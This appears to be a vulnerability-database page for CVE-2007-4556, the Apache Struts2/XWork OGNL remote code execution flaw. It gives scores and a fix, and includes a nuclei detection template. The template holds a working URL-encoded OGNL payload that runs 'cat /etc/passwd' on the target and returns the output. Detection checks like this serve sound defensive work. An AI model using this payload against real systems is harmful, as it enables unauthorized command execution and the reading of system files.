CVE-2007-4556· opensymphony / xwork· NVD-CWE-Other
OpenSymphony XWork/Apache Struts2 - Remote Code Execution
mediumseverity
6.8CVSS score
25.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
Impact
Remote code execution
Fix
Update to the latest version of Apache Struts2
How to confirm it
Send: POST {{BaseURL}}/login.action
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2007-4556 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2007-4556
info:
name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
author: pikpikcu
severity: medium
description: |
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
impact: |
Remote code execution
remediation: |
Update to the latest version of Apache Struts2
reference:
- https://www.guildhab.top/?p=2326
- https://nvd.nist.gov/vuln/detail/CVE-2007-4556
- https://cwiki.apache.org/confluence/display/WW/S2-001
- http://forums.opensymphony.com/ann.jspa?annID=54
- http://issues.apache.org/struts/browse/WW-2030
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2007-4556
cwe-id: NVD-CWE-Other
epss-score: 0.25749
epss-percentile: 0.97984
cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: opensymphony
product: xwork
tags: cve,cve2007,apache,rce,struts,opensymphony,vuln
http:
- method: POST
path:
- "{{BaseURL}}/login.action"
body: |
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.guildhab.top/?p=2326
- https://nvd.nist.gov/vuln/detail/CVE-2007-4556
- https://cwiki.apache.org/confluence/display/WW/S2-001
- http://forums.opensymphony.com/ann.jspa?annID=54
- http://issues.apache.org/struts/browse/WW-2030
Use this check only on systems you are authorised to test. Where the data comes from